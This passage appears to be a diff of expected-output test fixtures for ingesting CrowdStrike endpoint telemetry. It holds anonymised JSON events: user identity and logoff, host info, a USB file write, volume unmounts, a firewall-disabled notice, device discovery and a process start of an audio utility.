"action": "UserIdentity", + "category": [ + "authentication", + "iam" + ], + "created": "2020-11-08T17:09:15.388Z", + "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b|ffffffff1f32487185fcde66a9dc0528|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"326190744\",\"AuthenticationUuid\":\"98467113-C771-4845-B71B-89B3CE9F93C9\",\"AuthenticationUuidAsString\":\"13714698-71C7-4548-B71B-89B3CE9F93C9\",\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1457965279\",\"Entitlements\":\"15\",\"UID\":\"326190744\",\"UserPrincipal\":\"user8@dom6\",\"UserSid\":\"S-1-5-21-3629339319-2376021926-2724479216-652382488\",\"aid\":\"ffffffff1f32487185fcde66a9dc0528\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"UserIdentity\",\"id\":\"ffffffff-1111-11eb-b9b4-063e98f9b19b\",\"name\":\"UserIdentityMacV2\",\"timestamp\":\"1604855355388\"}", + "outcome": "success", + "type": [ + "info", + "user" + ] + }, + "host": { + "id": "ffffffff1f32487185fcde66a9dc0528", + "os": { + "type": "macos" + } + }, + "message": "UserIdentity", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff1f32487185fcde66a9dc0528", + "version": "1007.4.0011104.1" + }, + "related": { + "hash": [ + "1457965279" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "user8", + "user8@dom6", + "326190744" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "dom6", + "email": "user8@dom6", + "full_name": "user8", + "id": "326190744" + } + }, + { + "@timestamp": "2020-11-08T17:05:57.555Z", + "crowdstrike": { + "BootArgs": [ + "NOEXECUTE=OPTIN", + "HYPERVISORLAUNCHTYPE=AUTO", + "FVEBOOT=2125824", + "NOVGA" + ], + "ConfigStateHash": "1874387338", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9bbd-061290dcd983", + "name": "HostInfoV2" + }, + "device": { + "id": "ffffffffcdb543135e7fcdf8e5a8fbdb" + }, + "event": { + "action": "HostInfo", + "category": [ + "host" + ], + "created": "2020-11-08T17:05:57.555Z", + "id": "ffffffff-1111-11eb-9bbd-061290dcd983|ffffffffcdb543135e7fcdf8e5a8fbdb|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"BootArgs\":\" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2125824 NOVGA\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1874387338\",\"EffectiveTransmissionClass\":\"0\",\"Entitlements\":\"15\",\"MachineDomain\":\"\",\"aid\":\"ffffffffcdb543135e7fcdf8e5a8fbdb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostInfo\",\"id\":\"ffffffff-1111-11eb-9bbd-061290dcd983\",\"name\":\"HostInfoV2\",\"timestamp\":\"1604855157555\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffffcdb543135e7fcdf8e5a8fbdb", + "os": { + "type": "windows" + } + }, + "message": "HostInfo", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffcdb543135e7fcdf8e5a8fbdb", + "version": "1007.3.0011603.1" + }, + "related": { + "hash": [ + "1874387338" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T15:57:11.298Z", + "crowdstrike": { + "AuthenticationId": "703298", + "ConfigStateHash": "2642284486", + "ContextProcessId": "1161025471861", + "ContextTimeStamp": "2020-11-08T15:57:10.593Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileEcpBitmask": "0", + "FileObject": "18446664963104449168", + "IrpFlags": "1028", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "1", + "MajorFunction": "18", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-800a-06cecfd73923", + "name": "GenericFileWrittenV11" + }, + "device": { + "id": "ffffffff16bf4c7bb5ad755a4722025c" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2020-11-08T15:57:11.298Z", + "id": "ffffffff-1111-11eb-800a-06cecfd73923|ffffffff16bf4c7bb5ad755a4722025c|ffffffff30a3407dae27d0503611022d", + "original": "{\"AuthenticationId\":\"703298\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2642284486\",\"ContextProcessId\":\"1161025471861\",\"ContextThreadId\":\"34929528116709\",\"ContextTimeStamp\":\"1604851030.593\",\"DiskParentDeviceInstanceId\":\"USB\\\\VID_1058\\u0026PID_2621\\\\57583431453939315A4C5255\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"262fbc677256cf4c8d6c6a227285a072c06830873b000000\",\"FileObject\":\"18446664963104449168\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"1\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"517029\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume5\\\\01.png.tmp$$\",\"TokenType\":\"1\",\"UserName\":\"user9\",\"aid\":\"ffffffff16bf4c7bb5ad755a4722025c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"GenericFileWritten\",\"id\":\"ffffffff-1111-11eb-800a-06cecfd73923\",\"name\":\"GenericFileWrittenV11\",\"timestamp\":\"1604851031298\"}" + }, + "file": { + "device": "USB\\VID_1058&PID_2621\\57583431453939315A4C5255", + "directory": "\\Device\\HarddiskVolume5", + "extension": "tmp$$", + "inode": "262fbc677256cf4c8d6c6a227285a072c06830873b000000", + "name": "01.png.tmp$$", + "path": "\\Device\\HarddiskVolume5\\01.png.tmp$$", + "size": 517029, + "type": "file" + }, + "host": { + "id": "ffffffff16bf4c7bb5ad755a4722025c", + "os": { + "type": "windows" + } + }, + "message": "GenericFileWritten", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff16bf4c7bb5ad755a4722025c", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1161025471861", + "thread": { + "id": 34929528116709 + } + }, + "related": { + "hash": [ + "2642284486" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "user9" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "user9" + } + }, + { + "@timestamp": "2020-11-08T15:54:59.812Z", + "crowdstrike": { + "ConfigStateHash": "666346415", + "ContextProcessId": "1717987648455", + "ContextTimeStamp": "2020-11-08T15:54:59.164Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "VolumeName": "\\Device\\HarddiskVolume27", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9f70-0634389d9ea9", + "name": "FsVolumeUnmountedV2" + }, + "device": { + "id": "ffffffff896b43725b83c79aa79959da" + }, + "event": { + "action": "FsVolumeUnmounted", + "category": [ + "host" + ], + "created": "2020-11-08T15:54:59.812Z", + "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":\"1604850899.164\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff896b43725b83c79aa79959da", + "os": { + "type": "windows" + } + }, + "message": "FsVolumeUnmounted", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff896b43725b83c79aa79959da", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1717987648455", + "thread": { + "id": 55064470042288 + } + }, + "related": { + "hash": [ + "666346415" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T15:57:20.625Z", + "crowdstrike": { + "ConfigStateHash": "3429017943", + "ContextProcessId": "66426035996442255", + "ContextTimeStamp": "2020-11-08T15:58:18.548Z", + "Entitlements": "15", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9d4c-02f402df8c1f", + "name": "FirewallDisabledMacV1" + }, + "device": { + "id": "ffffffff899541b94b9adff8922aa70a" + }, + "event": { + "action": "FirewallDisabled", + "category": [ + "configuration", + "host" + ], + "created": "2020-11-08T15:57:20.625Z", + "id": "ffffffff-1111-11eb-9d4c-02f402df8c1f|ffffffff899541b94b9adff8922aa70a|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.4.0009906.1\",\"ConfigStateHash\":\"3429017943\",\"ContextProcessId\":\"66426035996442255\",\"ContextTimeStamp\":\"1604851098.548\",\"Entitlements\":\"15\",\"aid\":\"ffffffff899541b94b9adff8922aa70a\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"FirewallDisabled\",\"id\":\"ffffffff-1111-11eb-9d4c-02f402df8c1f\",\"name\":\"FirewallDisabledMacV1\",\"timestamp\":\"1604851040625\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff899541b94b9adff8922aa70a", + "os": { + "type": "macos" + } + }, + "message": "FirewallDisabled", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff899541b94b9adff8922aa70a", + "version": "1007.4.0009906.1" + }, + "process": { + "entity_id": "66426035996442255" + }, + "related": { + "hash": [ + "3429017943" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-11-09T09:00:27.353Z", + "crowdstrike": { + "AgentLoadFlags": "0", + "AgentLocalTime": "2021-11-09T05:47:19.952Z", + "AgentTimeOffset": 125.319, + "BiosManufacturer": "Apple Inc.", + "BiosVersion": "1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)", + "ChassisType": "Laptop", + "ConfigBuild": "1007.4.0014404.1", + "ConfigIDBuild": "14404", + "FirstSeen": "2021-07-07T18:26:31.000Z", + "HostHiddenStatus": "Visible", + "ProductType": "1", + "SystemManufacturer": "Apple Inc.", + "SystemProductName": "MacBookPro16,2", + "cid": "ffffffff30a3407dae27d0503611022ff" + }, + "device": { + "id": "fffffffffffaaaaaaaaabbbbbbbb" + }, + "event": { + "created": "2021-11-09T09:00:27.353Z", + "id": "|fffffffffffaaaaaaaaabbbbbbbb|ffffffff30a3407dae27d0503611022ff", + "original": "{\"AgentLoadFlags\":\"0\",\"AgentLocalTime\":\"1636436839.9529998\",\"AgentTimeOffset\":\"125.319\",\"AgentVersion\":\"6.31.14404.0\",\"BiosManufacturer\":\"Apple Inc.\",\"BiosVersion\":\"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)\",\"ChassisType\":\"Laptop\",\"City\":\"San Francisco\",\"ComputerName\":\"mac1\",\"ConfigBuild\":\"1007.4.0014404.1\",\"ConfigIDBuild\":\"14404\",\"Continent\":\"North America\",\"Country\":\"United States\",\"FalconGroupingTags\":\"-\",\"FirstSeen\":\"1625682391.0\",\"HostHiddenStatus\":\"Visible\",\"MachineDomain\":\"none\",\"OU\":\"none\",\"PointerSize\":\"none\",\"ProductType\":\"1\",\"SensorGroupingTags\":\"-\",\"ServicePackMajor\":\"none\",\"SiteName\":\"none\",\"SystemManufacturer\":\"Apple Inc.\",\"SystemProductName\":\"MacBookPro16,2\",\"Time\":\"1636448427.3539999\",\"Timezone\":\"America/Los_Angeles\",\"Version\":\"Big Sur (11.0)\",\"aid\":\"fffffffffffaaaaaaaaabbbbbbbb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022ff\",\"event_platform\":\"Mac\"}" + }, + "host": { + "geo": { + "city_name": "San Francisco", + "continent_name": "North America", + "country_name": "United States", + "timezone": "America/Los_Angeles" + }, + "hostname": "mac1", + "id": "fffffffffffaaaaaaaaabbbbbbbb", + "name": "mac1", + "os": { + "type": "macos", + "version": "Big Sur (11.0)" + } + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "fffffffffffaaaaaaaaabbbbbbbb", + "version": "6.31.14404.0" + }, + "related": { + "hosts": [ + "mac1" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:05:34.461Z", + "crowdstrike": { + "AuthenticationId": "317005428", + "AuthenticationPackage": "Negotiate", + "ConfigStateHash": "3950066843", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "LogoffTime": "2020-11-08T17:05:32.756Z", + "LogonServer": "srv2", + "LogonTime": "2020-11-08T17:05:31.666Z", + "LogonType": "7", + "PasswordLastSet": "1598119332.510", + "RemoteAccount": "1", + "UserFlags": "32", + "UserLogoffType": "3", + "UserLogonFlags": "0", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8913-0287fd11c79b", + "name": "UserLogoffV3" + }, + "device": { + "id": "ffffffffe0104823bd3de859d5bc8bc7" + }, + "event": { + "action": "UserLogoff", + "category": [ + "authentication" + ], + "created": "2020-11-08T17:05:34.461Z", + "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"UTCTimestamp\":\"1604855134461\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "domain": "dom1", + "id": "ffffffffe0104823bd3de859d5bc8bc7", + "os": { + "type": "windows" + } + }, + "message": "UserLogoff", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffffe0104823bd3de859d5bc8bc7", + "version": "1007.3.0011603.1" + }, + "related": { + "hash": [ + "3950066843" + ], + "hosts": [ + "srv2" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "user4", + "user.name", + "user.name@dom2.com", + "S-1-5-21-606747145-1364589140-725345543-28636" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "dom2.com", + "email": "user.name@dom2.com", + "full_name": "user.name", + "id": "S-1-5-21-606747145-1364589140-725345543-28636", + "name": "user4" + } + }, + { + "@timestamp": "2022-08-16T08:01:09.410Z", + "crowdstrike": { + "AuthenticationId": "29530993", + "ConfigStateHash": "518095218", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ImageSubsystem": "2", + "IntegrityLevel": "8192", + "MD5HashData": "e570911fc2ab74ecf0dc59f324318f6e", + "ParentAuthenticationId": "29530993", + "ProcessCreateFlags": "1024", + "ProcessParameterFlags": "24577", + "ProcessSxsFlags": "64", + "SHA256HashData": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2", + "SessionId": "1", + "SourceProcessId": "434985540832797032", + "SourceThreadId": "434985668331321297", + "Tags": [ + "25", + "27", + "862", + "874", + "924", + "12094627905582", + "12094627906234" + ], + "TokenType": "2", + "cid": "1301ac65ae144fbb9689a8472f828c2e", + "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf", + "name": "ProcessRollup2V19" + }, + "device": { + "id": "50deaa55144543089a1f463b568cdc53" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2022-08-16T08:01:09.410Z", + "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf|50deaa55144543089a1f463b568cdc53|1301ac65ae144fbb9689a8472f828c2e", + "kind": "event", + "original": "{\"ProcessCreateFlags\":\"1024\",\"IntegrityLevel\":\"8192\",\"ParentProcessId\":\"434985540832797032\",\"SourceProcessId\":\"434985540832797032\",\"aip\":\"89.160.20.120\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"UserSid\":\"S-1-5-21-4084637156-299436391-3671333128-115430\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"ProcessEndTime\":\"\",\"ParentBaseFileName\":\"EmUser.exe\",\"ImageSubsystem\":\"2\",\"id\":\"9686a6b3-1d39-11ed-9370-0660bfa16adf\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"1\",\"Tags\":\"25, 27, 862, 874, 924, 12094627905582, 12094627906234\",\"timestamp\":\"1660636869410\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"6108\",\"ConfigStateHash\":\"518095218\",\"MD5HashData\":\"e570911fc2ab74ecf0dc59f324318f6e\",\"SHA256HashData\":\"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2\",\"ProcessSxsFlags\":\"64\",\"AuthenticationId\":\"29530993\",\"ConfigBuild\":\"1007.3.0015103.1\",\"CommandLine\":\"\\\"C:\\\\Program Files\\\\nirsoft\\\\SoundVolumeView.exe\\\" /SetDefault \\\"Teradici Virtual Audio Driver\\\\device\\\\speakers\\\\\\\" all\",\"ParentAuthenticationId\":\"29530993\",\"TargetProcessId\":\"434985669758362104\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\NirSoft\\\\SoundVolumeView.exe\",\"SourceThreadId\":\"434985668331321297\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2V19\",\"ProcessStartTime\":\"1660636868.576\",\"ProcessParameterFlags\":\"24577\",\"aid\":\"50deaa55144543089a1f463b568cdc53\",\"cid\":\"1301ac65ae144fbb9689a8472f828c2e\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "50deaa55144543089a1f463b568cdc53", + "os": { + "type": "windows" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "89.160.20.120" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.120" + ], + "serial_number": "50deaa55144543089a1f463b568cdc53", + "version": "1007.3.0015103.1" + }, + "process": { + "Ext": { + "token": { + "integrity_level_name": "MEDIUM" + } + }, + "args": [ + "C:\\Program Files\\nirsoft\\SoundVolumeView.exe", + "/SetDefault", + "Teradici Virtual Audio Driver\\device\\speakers\" all" + ], + "args_count": 3, + "command_line": "\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all", + "entity_id": "434985669758362104", + "executable": "\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe", + "hash": { + "md5": "e570911fc2ab74ecf0dc59f324318f6e", + "sha256": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2" + }, + "name": "SoundVolumeView.exe", + "parent": { + "entity_id": "434985540832797032", + "name": "EmUser.exe" + }, + "pid": 6108, + "start": "2022-08-16T08:01:08.576Z" + }, + "related": { + "hash": [ + "e570911fc2ab74ecf0dc59f324318f6e", + "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2", + "518095218" + ], + "ip": [ + "89.160.20.120" + ], + "user": [ + "S-1-5-21-4084637156-299436391-3671333128-115430" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-1-5-21-4084637156-299436391-3671333128-115430" + } + }, + { + "@timestamp": "2020-11-08T15:54:59.812Z", + "crowdstrike": { + "ConfigStateHash": "666346415", + "ContextProcessId": "1717987648455", + "ContextTimeStamp": "2022-12-03T18:43:39.000Z", + "EffectiveTransmissionClass": "3", + "EndTime": "2022-12-03T18:42:00.000Z", + "Entitlements": "15", + "StartTime": "2022-12-03T18:42:00.000Z", + "VolumeName": "\\Device\\HarddiskVolume27", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9f70-0634389d9ea9", + "name": "FsVolumeUnmountedV2" + }, + "device": { + "id": "ffffffff896b43725b83c79aa79959da" + }, + "event": { + "action": "FsVolumeUnmounted", + "category": [ + "host" + ], + "created": "2020-11-08T15:54:59.812Z", + "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":133145666190000000,\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\",\"StartTime\":133145665200000000,\"EndTime\":133145665200000000}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff896b43725b83c79aa79959da", + "os": { + "type": "windows" + } + }, + "message": "FsVolumeUnmounted", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff896b43725b83c79aa79959da", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1717987648455", + "thread": { + "id": 55064470042288 + } + }, + "related": { + "hash": [ + "666346415" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2023-03-16T01:57:00.343Z", + "crowdstrike": { + "CurrentLocalIP": "67.43.156.13", + "FirstDiscoveredDate": "2022-11-28T08:47:57.827Z", + "LastDiscoveredBy": "c1b74438660b44cfa93e24c9d44badab", + "LocalAddressIP4": [ + "67.43.156.13" + ], + "MACPrefix": "AA-AA-AA", + "NeighborName": "!!!!UNKNOWN!!!!", + "__mv_aip": "$67.43.156.14$;$67.43.156.13$", + "__mv_discoverer_aid": "$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$", + "aipCount": 3, + "cid": "500c5073b4d7443688f4b32c5eeb295b", + "discovererCount": 2, + "discoverer_aid": "4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab", + "localipCount": 1, + "subnet": "10.0" + }, + "event": { + "created": "2023-03-16T01:57:00.343Z", + "id": "||500c5073b4d7443688f4b32c5eeb295b", + "original": "{\"ComputerName\":\"HQ-sadhkbasHS\",\"CurrentLocalIP\":\"67.43.156.13\",\"FirstDiscoveredDate\":\"1669625277.827\",\"LastDiscoveredBy\":\"c1b74438660b44cfa93e24c9d44badab\",\"LocalAddressIP4\":\"67.43.156.13\",\"MAC\":\"AA-AA-AA-AA-AA-AA\",\"MACPrefix\":\"AA-AA-AA\",\"NeighborName\":\"!!!!UNKNOWN!!!!\",\"__mv_LocalAddressIP4\":\"\",\"__mv_aip\":\"$67.43.156.14$;$67.43.156.13$\",\"__mv_discoverer_aid\":\"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$\",\"__mv_discoverer_devicetype\":\"\",\"_time\":\"1678931820.343\",\"aip\":\"67.43.156.13 67.43.156.14 81.2.69.192\",\"aipCount\":\"3\",\"cid\":\"500c5073b4d7443688f4b32c5eeb295b\",\"discovererCount\":\"2\",\"discoverer_aid\":\"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab\",\"discoverer_devicetype\":\"\",\"localipCount\":\"1\",\"subnet\":\"10.0\"}" + }, + "host": { + "hostname": "HQ-sadhkbasHS", + "name": "HQ-sadhkbasHS" + }, + "observer": { + "address": [ + "67.43.156.13", + "67.43.156.14", + "81.2.69.192" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13", + "67.43.156.14", + "81.2.69.192" + ] + }, + "related": { + "hosts": [ + "HQ-sadhkbasHS" + ], + "ip": [ + "67.43.156.13", + "67.43.156.14", + "81.2.69.192" + ] + }, + "source": { + "address": "67.43.156.13", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.13", + "mac": "AA-AA-AA-AA-AA-AA" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T15:54:59.812Z", + "crowdstrike": { + "ConfigStateHash": "666346415", + "ContextProcessId": "1717987648455", + "EffectiveTransmissionClass": "3", + "EndTime": "2022-12-03T18:42:00.000Z", + "Entitlements": "15", + "StartTime": "2022-12-03T18:42:00.000Z", + "VolumeName": "\\Device\\HarddiskVolume27", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9f70-0634389d9ea9", + "name": "FsVolumeUnmountedV2" + }, + "device": { + "id": "ffffffff896b43725b83c79aa79959da" + }, + "event": { + "action": "FsVolumeUnmounted", + "category": [ + "host" + ], + "created": "2020-11-08T15:54:59.812Z", + "id": "ffffffff-1111-11eb-9f70-0634389d9ea9|ffffffff896b43725b83c79aa79959da|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"666346415\",\"ContextProcessId\":\"1717987648455\",\"ContextThreadId\":\"55064470042288\",\"ContextTimeStamp\":\"\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume27\",\"aid\":\"ffffffff896b43725b83c79aa79959da\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeUnmounted\",\"id\":\"ffffffff-1111-11eb-9f70-0634389d9ea9\",\"name\":\"FsVolumeUnmountedV2\",\"timestamp\":\"1604850899812\",\"StartTime\":133145665200000000,\"EndTime\":133145665200000000}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": 